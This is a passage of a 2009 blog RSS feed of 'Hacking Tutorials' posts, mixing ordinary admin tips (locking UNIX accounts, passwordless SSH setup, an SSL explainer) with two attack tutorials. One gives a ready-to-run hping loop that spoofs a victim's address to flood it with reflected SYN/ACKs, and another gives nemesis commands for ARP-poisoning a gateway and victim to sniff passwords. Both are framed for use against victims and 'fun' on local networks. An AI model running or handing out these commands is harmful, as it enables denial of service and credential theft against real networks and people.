<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/137/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/137/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/137/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=137&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/moving-beyond-ssh-webmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/goingbeyondssh.jpg" medium="image">
			<media:title type="html">goingbeyondssh</media:title>
		</media:content>
	</item>
		<item>
		<title>How to lock user account (disable user login temporarily) in UNIX &#8211; comparison of 4 solutions</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/how-to-lock-user-account-disable-user-login-temporarily-in-unix-comparison-of-4-solutions/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/how-to-lock-user-account-disable-user-login-temporarily-in-unix-comparison-of-4-solutions/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:12:08 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=133</guid>
		<description><![CDATA[1) Proper way to lock UNIX user account is: bash# passwd -l user - It will add some special character (! or *) in the beginning of his password (to /etc/shadow) To unlock again: bash# passwd -u user User will get &#8220;Login incorrect&#8221; while logging in: planar login: user Password: Login incorrect planar login: - &#8211; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=133&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"></h3>
<div class="post-body entry-content">
<ul>
<li><span>1)</span> Proper way to lock UNIX user account is:</li>
</ul>
<pre>bash# <span>passwd -l user
</span>
- It will add some special character (! or *) in the beginning of his password (to /etc/shadow)
<span>
</span></pre>
<ul>
<li>To unlock again:</li>
</ul>
<pre>bash# <span>passwd -u user</span></pre>
<ul>
<li>User will get &#8220;Login incorrect&#8221; while logging in:</li>
</ul>
<pre><span>planar login: </span><span>user</span>
<span>Password:</span>
<span>Login incorrect</span>

<span>planar login:</span></pre>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li><span>2)</span> Edit /etc/passwd and comment out user&#8217;s entry:<br />
&#8211;&gt; <span>#</span><span>user:x:1000:1000:user,,,:/home/user:/bin/bash</span></li>
</ul>
<ul>
<li>User will get &#8220;Login incorrect&#8221; while logging in:</li>
</ul>
<pre><span>planar login: </span><span>user</span>
<span>Password:</span>
<span>Login incorrect</span>

<span>planar login:</span></pre>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li><span>3)</span> Edit /etc/passwd and change his shell to /sbin/nologin (rather bash#<span> which nologin</span>):<br />
&#8211;&gt; <span>user:x:1000:1000:user,,,:/home/user:</span><span>/<span>sbin/nologin</span></span></li>
</ul>
<ul>
<li>User will be informed that he has been locked:</li>
</ul>
<pre><span>planar login: </span><span>user</span>
<span>Password:</span>
<span>Last login: Wed Oct 22 01:41:02 2007 on ttyp/18</span>
<span>You have new mail.</span>
<span>This account is currently not available.</span>

<span>planar login:</span></pre>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li><span>4)</span> Edit /etc/passwd and change his shell to /bin/false:<br />
&#8211;&gt; <span>user:x:1000:1000:user,,,:/home/user:</span><span>/sbin/false</span></li>
</ul>
<ul>
<li>User will be &#8220;partially&#8221; logged in, but immediately kicked:</li>
</ul>
<pre><span>planar login: </span><span>user</span>
<pre>Password:
Last login: Wed Oct 22 01:41:02 2007 on ttyp/18
You have new mail.</pre>
<p><span>planar login:</span></pre>
<p><span><br />
</span></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/133/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/133/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/133/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=133&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/how-to-lock-user-account-disable-user-login-temporarily-in-unix-comparison-of-4-solutions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>
	</item>
		<item>
		<title>Network attack: Reflection SYN attack</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/network-attack-reflection-syn-attack/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/network-attack-reflection-syn-attack/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:05:14 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=130</guid>
		<description><![CDATA[Network attack: reflection SYN attack Amplified SYN attack (&#8220;reversed&#8221; SYN attack) aka. reflection SYN attack. The trick is to massively initiate connections with random servers (and their open TCP ports) with spoofed source IP address &#8211; of the victim. In detail: 1) You send TCP packet with SYN flag to somewebserver.com:80 with spoofed source address of [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=130&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><a href="http://1337tricks.blogspot.com/2008/10/network-attack-reflection-syn-attack_19.html">Network attack: reflection SYN attack</a></h3>
<div class="post-body entry-content">
<ul>
<li>Amplified SYN attack (&#8220;reversed&#8221; SYN attack) aka. reflection SYN attack.</li>
</ul>
<ul>
<li>The trick is to massively initiate connections with random servers (and their open TCP ports) with spoofed source IP address &#8211; of the victim.</li>
</ul>
<ul>
<li>In detail:<br />
<span>1)</span> You send TCP packet with SYN flag to somewebserver.com:80 with spoofed source address of the victim<br />
<span>2)</span> somewebserver.com will reply with SYN/ACK (to finish the &#8220;handshake&#8221;) to the source address &#8211; victim.<br />
<span>3)</span> But victim didn&#8217;t ask for nothing, so it DROPs the packet,<br />
<span>4)</span> However somewebserver.com will think that the packet got lost, so it will resend it few times (in according to specification)<br />
<span>5) </span>If you send it to many hosts, victim will be flooded then (depending on the traffic you generate and victim&#8217;s link)</li>
</ul>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>You can now prepare a list of IPs which have some open port, or you can just use this example with random IP addresses and port 80 (most likely open port) to crash the victim&#8217;s machine:</li>
</ul>
<pre>bash# <span>VICTIM=<span style="text-decoration:underline;"><span>1.2.3.4</span></span></span>
bash# <span>
while true; do</span>
<span>  hping -q -S -p 80 -c 1 -a $VICTIM $((1+RANDOM%254)).$((1+RANDOM%254)).$((1+RANDOM%254)).$((1+RANDOM%254))</span>
<span>done</span></pre>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>But remember that these days it&#8217;s not very probable that your ISP will let you spoof IP address (victim&#8217;s address) that is &#8220;on the other side of the Earth&#8221; (so far away from your IP range..) &#8211; your ISP will probably drop that packet&#8230; but who knows where you appear to have access to (perhaps some backbone router?). Anyway you can have some fun on local networks for sure..</li>
<div></div>
</ul>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/130/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/130/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/130/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=130&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/network-attack-reflection-syn-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>
	</item>
		<item>
		<title>SSH Login without password &#8211; Useful little shell script</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/ssh-login-without-password-useful-little-shell-script/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/ssh-login-without-password-useful-little-shell-script/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 19:02:33 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=127</guid>
		<description><![CDATA[This script is very useful when you have to manage lot of machines, and you are tired of typing passwords to login &#8211; type the password just once! - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - The script sshprep.sh: #!/bin/bash cat ~/.ssh/id_dsa.pub &#124; ssh root@${1} [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=127&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ul>
<li>This script is very useful when you have to manage lot of machines, and you are tired of typing passwords to login &#8211; type the password just once!</li>
</ul>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>The script <span>sshprep.sh</span>:</li>
</ul>
<p><code>#!/bin/bash<br />
cat ~/.ssh/id_dsa.pub | ssh root@${1} "(mkdir .ssh 2&gt;/dev/null; chmod 700 .ssh &amp;&amp; cat - &gt;&gt; .ssh/authorized_keys ) &amp;&amp; chmod 600 .ssh/authorized_keys"<br />
</code><br />
- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>It simply copies your public key on remote host (into ~/.ssh/authorized_keys) and makes all arbitrary &#8220;paperwork&#8221; for us. Example usage:</li>
</ul>
<pre>bash# <span>sshprep.sh xtest02.domain.com</span>
root@xtest02.domain.com's password:</pre>
<ul>
<li>After this, you&#8217;re no longer obligated to type any password there:</li>
</ul>
<pre>bash# <span>ssh xtest02.domain.com
</span>You have new mail.
Last login: Wed Oct 22 01:41:21 2009
bazh#</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/127/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/127/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/127/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=127&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/ssh-login-without-password-useful-little-shell-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>
	</item>
		<item>
		<title>ARP poisoning with nemesis</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/arp-poisoning-with-nemesis/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/arp-poisoning-with-nemesis/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 18:56:24 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=124</guid>
		<description><![CDATA[ARP poisoning with nemesis In this practical example, we are going to use tool called nemesis project - raw packet injector. In order to sniff all communication (in/out), we must poison both hosts). Then all communication will go through us. - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=124&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><a href="http://1337tricks.blogspot.com/2008/10/arp-poisoning-with-nemesis.html">ARP poisoning with nemesis</a></h3>
<div class="post-body entry-content">
<ul>
<li>In this practical example, we are going to use tool called <a href="http://nemesis.sourceforge.net/">nemesis project</a> - raw packet injector.</li>
</ul>
<ul>
<li>In order to sniff all communication (in/out), we must poison both hosts). Then all communication will go through us.</li>
</ul>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>Enable packet forwarding first:</li>
</ul>
<pre>bash# <span>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</span></pre>
<ul>
<li>You&#8217;ll need to know your HW address (MAC address) for this, because we do it in raw way with stateless and careless nemesis packet injector:</li>
</ul>
<pre>bash# <span>ifconfig eth0 | grep -i hwaddr</span>
eth0      Link encap:Ethernet  HWaddr <span>00:1A:80:0B:0C:70</span></pre>
<ul>
<li>Setup <span>gateway&#8211;&gt;me&#8211;&gt;victim</span> traffic redirect (poison gateway&#8217;s ARP table):</li>
</ul>
<pre>bash# <span>nemesis arp -v -r -d eth0 -S victim -D gateway -h myMAC</span></pre>
<ul>
<li>Setup <span>victim</span><span>&#8211;&gt;me&#8211;&gt;</span><span>gateway</span> traffic redirect (poison victim&#8217;s ARP table):</li>
</ul>
<pre>bash# <span>nemesis arp -v -r -d eth0 -S gateway -D victim -h myMAC</span></pre>
<p>- &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; - &#8211; -</p>
<ul>
<li>Now all their communication is going through us and we can sniff for user accounts, passwords and usernames or emails or whatever..</li>
</ul>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/124/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/124/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/124/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=124&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/arp-poisoning-with-nemesis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>
	</item>
		<item>
		<title>Secure Sockets Layer (SSL)</title>
		<link>http://futurenetwork.wordpress.com/2009/02/20/secure-sockets-layer-ssl/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/20/secure-sockets-layer-ssl/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 17:22:13 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
				<category><![CDATA[Hacking Tutorials]]></category>

		<guid isPermaLink="false">http://futurenetwork.wordpress.com/?p=119</guid>
		<description><![CDATA[  Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server.Most of us are familiar with many sites such as Gmail, Yahoo etc. using httpsprotocol in their login pages.When we see this, we may wonder what’s the difference between http and https.In simple words HTTP protocol is used [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=119&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p> </p>
<p><img class="alignnone size-full wp-image-122" title="lock2" src="http://futurenetwork.files.wordpress.com/2009/02/lock2.jpg?w=169&#038;h=200" alt="lock2" width="169" height="200" /></p>
<p>Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server.Most of us are familiar with many sites such as Gmail, Yahoo etc. using <strong><big>https</big></strong>protocol in their login pages.When we see this, we may wonder what’s the difference between <strong>http</strong> and <strong>https</strong>.In simple words HTTP protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.</p>
<h3>What exactly is Secure Communication ?</h3>
<p>Suppose there exists two communication parties<strong> A</strong> (client) and <strong>B</strong> (server).</p>
<p><strong>Working of HTTP</strong></p>
<p>When <strong>A</strong> sends a message to <strong>B</strong>, the message is sent as a plain text in an unencrypted manner.This is acceptable in normal situations where the messages exchanged are not confidential.But imagine a situation where<strong> A</strong> sends a <span>PASSWORD</span> to <strong>B</strong>.In this case, the password is also sent as a plain text.This has a serious security problem because, if an intruder (hacker) can gain unauthorised access to the ongoing communication between <strong>A</strong> and <strong>B</strong> , he can see the PASSWORDS since they remain unencrypted.This scenario is illustrated using the following figure</p>
<p><img class="alignnone size-full wp-image-120" title="http1" src="http://futurenetwork.files.wordpress.com/2009/02/http1.jpg?w=468&#038;h=170" alt="http1" width="468" height="170" /></p>
<p> </p>
<p><strong>Now lets see the working of HTTPS</strong></p>
<p>When <strong>A</strong> sends a <span>PASSWORD</span> (say “<strong>mypass</strong>“) to <strong>B</strong>, the message is sent in an encrypted format.The encrypted message is decrypted on <strong>B</strong>’s side.So even if the Hacker gains an unauthorised access to the ongoing communication between <strong>A</strong> and <strong>B</strong>he gets only the encrypted password (”<strong>xz54p6kd</strong>“) and not the original password.This is shown below</p>
<p><img class="alignnone size-full wp-image-121" title="https1" src="http://futurenetwork.files.wordpress.com/2009/02/https1.jpg?w=468&#038;h=170" alt="https1" width="468" height="170" /></p>
<p> </p>
<h3>How is HTTPS implemented ?</h3>
<p>HTTPS is implemented using <strong>Secure Sockets Layer</strong> (SSL).A website can implement HTTPS by purchasing an <strong>SSL Certificate</strong>.Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. It has the following uses</p>
<ol>
<li>An SSL Certificate enables <strong>encryption</strong> of sensitive information during online transactions.</li>
<li>Each SSL Certificate contains unique, <strong>authenticated</strong> information about the certificate owner.</li>
<li>A Certificate Authority <strong>verifies</strong> the identity of the certificate owner when it is issued.</li>
</ol>
<p><strong>How Encryption Works ?</strong></p>
<p>Each SSL Certificate consists of a <strong>Public key</strong> and a<strong> Private key</strong>. The public key is used to encrypt the information and the private key is used to decrypt it.When your browser connects to a secure domain, the server sends a Public key to the browser to perform the encryption.The public key is made available to every one but the private key(used for decryption) is kept secret.So during a secure communication, the browser encrypts the message using the public key and sends it to the server.The message is decrypted on the server side using the Private key(Secret key).</p>
<p><strong>How to identify a Secure Connection ?</strong></p>
<p class="para">In Internet Explorer, you will see a lock icon <img class="embedObject" src="http://windowshelp.microsoft.com/BetterWhenConnectedHelpWS/GetContent.aspx?assetID=270b1b5c-1151-4886-9994-901c2e4568b3&amp;documentSet=en-US&amp;renderKey=SIGNED1" alt="Picture of the Lock icon" /> in the Security Status bar. The Security Status bar is located on the right side of the Address bar.You can click the lock to view the identity of the website.</p>
<p>In high-security browsers, the authenticated organization name is prominently displayed and the address bar turns <span><strong>GREEN </strong></span>when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate has expired, the browser displays an error message or warning and the status bar may turn <strong><span>RED</span></strong>.</p>
<p>So the bottom line is, whenever you perform an online transaction such as <strong>Credit card payment, Bank login or Email login</strong> always ensure that you have a secure communication.A secure communication is a must in these situations.Otherwise there are chances of <a href="http://www.gohacking.com/2008/01/know-more-about-phishing-attack.html" target="_self">Phishing</a> using a <a href="http://www.gohacking.com/2008/12/hacking-yahoo-gmail-or-any-other-password.html" target="_self">Fake login Page</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/futurenetwork.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/futurenetwork.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/futurenetwork.wordpress.com/119/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=futurenetwork.wordpress.com&amp;blog=6495490&amp;post=119&amp;subd=futurenetwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://futurenetwork.wordpress.com/2009/02/20/secure-sockets-layer-ssl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/20fe4010cc65f843a03f640b217bd403?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">JITU</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/lock2.jpg" medium="image">
			<media:title type="html">lock2</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/http1.jpg" medium="image">
			<media:title type="html">http1</media:title>
		</media:content>

		<media:content url="http://futurenetwork.files.wordpress.com/2009/02/https1.jpg" medium="image">
			<media:title type="html">https1</media:title>
		</media:content>

		<media:content url="http://windowshelp.microsoft.com/BetterWhenConnectedHelpWS/GetContent.aspx?assetID=270b1b5c-1151-4886-9994-901c2e4568b3&#038;documentSet=en-US&#038;renderKey=SIGNED1" medium="image">
			<media:title type="html">Picture of the Lock icon</media:title>
		</media:content>
	</item>
		<item>
		<title>The Hole</title>
		<link>http://futurenetwork.wordpress.com/2009/02/19/the-hole/</link>
		<comments>http://futurenetwork.wordpress.com/2009/02/19/the-hole/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 19:52:22 +0000</pubDate>
		<dc:creator>JITU</dc:creator>
